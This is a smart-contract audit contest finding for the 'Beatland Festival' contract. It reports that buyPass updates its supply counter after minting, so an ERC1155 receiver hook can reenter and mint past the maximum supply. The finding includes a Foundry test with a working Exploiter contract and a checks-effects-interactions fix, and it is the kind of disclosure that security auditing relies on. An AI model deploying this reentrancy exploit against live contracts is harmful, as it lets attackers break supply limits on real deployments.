Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Bypasses BuyPass Max Supply

Root + Impact

Description

  • The buyPass function allows users to purchase festival passes. It validates the pass ID, payment amount, and available supply before minting the pass, incrementing the supply counter.

  • Issue: The function is vulnerable to reentrancy during pass minting because it updates the supply counter (passSupply) after the _mint operation. This allows a malicious contract to reenter buyPass before the supply is incremented, bypassing the max supply check.

// Buy a festival pass
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(
collectionId == GENERAL_PASS ||
collectionId == VIP_PASS ||
collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
// Check payment and supply
require(
msg.value == passPrice[collectionId],
"Incorrect payment amount"
);
require(
passSupply[collectionId] < passMaxSupply[collectionId],
"Max supply reached"
);
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, ""); // @audit Reentrancy
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS)
? 5e18
: (collectionId == BACKSTAGE_PASS)
? 15e18
: 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • The exploit is straightforward (but note the attacker still has to pay for each pass).

Impact:

  • It allows an attacker to bypass the max supply.

Proof of Concept

// Add this to the contract FestivalPassTest:
function test_reentrancyBypassMaxSupply() public {
// Configure VIP pass with max supply of 1
vm.prank(organizer);
festivalPass.configurePass(PASS_ID, VIP_PRICE, 1);
// Deploy exploiter with funds for three passes
Exploiter exploiter = new Exploiter{value: 0.3 ether}(
address(festivalPass)
);
// Verify initial state
assertEq(festivalPass.passSupply(PASS_ID), 0);
assertEq(festivalPass.passMaxSupply(PASS_ID), 1);
// Execute attack
exploiter.attack();
// Validate attack succeeded
assertEq(festivalPass.passSupply(PASS_ID), 3); // More than max supply!
assertEq(festivalPass.balanceOf(address(exploiter), PASS_ID), 3);
}
uint256 constant PASS_ID = 2;
contract Exploiter {
FestivalPass public festivalPass;
uint256 public reentrancyCount;
uint256 constant VIP_PRICE = 0.1 ether;
constructor(address _festivalPass) payable {
festivalPass = FestivalPass(_festivalPass);
}
function attack() external {
festivalPass.buyPass{value: VIP_PRICE}(PASS_ID);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external returns (bytes4) {
if (id == PASS_ID && reentrancyCount < 2) {
reentrancyCount++;
// Reenter to buy second pass
festivalPass.buyPass{value: VIP_PRICE}(PASS_ID);
}
return this.onERC1155Received.selector;
}
}

Recommended Mitigation

Follow CEI and update state before external calls.

// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!